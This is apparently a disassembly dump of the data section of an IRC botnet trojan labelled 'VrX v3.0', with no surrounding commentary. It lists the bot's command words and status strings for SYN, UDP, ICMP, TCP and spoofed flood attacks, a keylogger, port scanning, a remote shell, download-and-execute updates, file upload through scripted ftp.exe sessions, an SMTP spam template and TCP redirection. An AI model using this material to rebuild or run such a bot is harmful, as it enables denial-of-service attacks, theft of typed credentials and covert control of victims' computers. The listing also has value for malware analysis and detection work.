align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B38 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B58 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B78 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BCC db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 asc_429C4C: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 unk_429C50 db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 4 unk_429C74 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C9C db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CBC db 3 ; DATA XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429CE0 db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429D00 db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D20 db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D64 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DB0 db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DDC db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429E00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E24 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E44 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_429E90 db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_429EE0 db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429F00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F30 db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F54 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+76DFo dd 27732527h, 2Eh unk_429F70 db 2Dh ; - ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F94 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 unk_429FAC db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FEC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+7550o dd 2Eh dword_42A004 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_408F9Do dd 746E6573h, 2Eh unk_42A020 db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42A040 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+748Fo dd 732520h unk_42A058 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A084: ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A088 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A8 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 10h aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 10h aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 4 aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 10h aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 4 aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 unk_42A17C db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 4 unk_42A194 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 4 unk_42A1C4 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E8 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 4 unk_42A204 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 10h unk_42A220 db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A23C dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o dword_42A250 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o unk_42A25C db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 4 dword_42A284 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h dword_42A2BC dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o dword_42A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h dword_42A2E0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do dword_42A2EC dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... dword_42A2F4 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o dword_42A2FC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A338 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A364 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A3A0 db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D4 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A408 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 10h dword_42A420 dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o dword_42A434 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... dword_42A444 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A48C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C8 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 10h dword_42A500 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A51C db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 10h unk_42A540 db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A57C db 2Dh ; - ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5AC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o unk_42A5B8 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A614 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A64C db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A678 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A6B4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A6E4 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A71C db 2Dh ; - ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A74C db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A784 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A7B4 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7EC db 2Dh ; - ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A828 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A868 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 4 unk_42A894 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D8 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A914 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 dword_42A96C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A978 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42AA04 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA3C db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 4 unk_42AAA4 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD8 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB0C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB3C db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 unk_42ABAC db 2Dh ; - ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 4 unk_42ABD4 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC48 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42AC90 db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42ACC4 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF8 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42AD30 db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AE04 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE3C db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AE74 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB8 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co unk_42AF00 db 2Dh ; - ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o aP: ; DATA XREF: sub_401ACD+4F31o ; ___:00438B00o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o aU: ; DATA XREF: sub_401ACD+4EBEo ; ___:00438B10o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 4 aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 10h dword_42B060 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B09C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 4 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 4 aC: ; DATA XREF: sub_401ACD+4AA4o ; ___:004387C8o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 10h aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 10h aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 10h aE: ; DATA XREF: sub_401ACD+49DAo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 10h aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo align 10h aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co 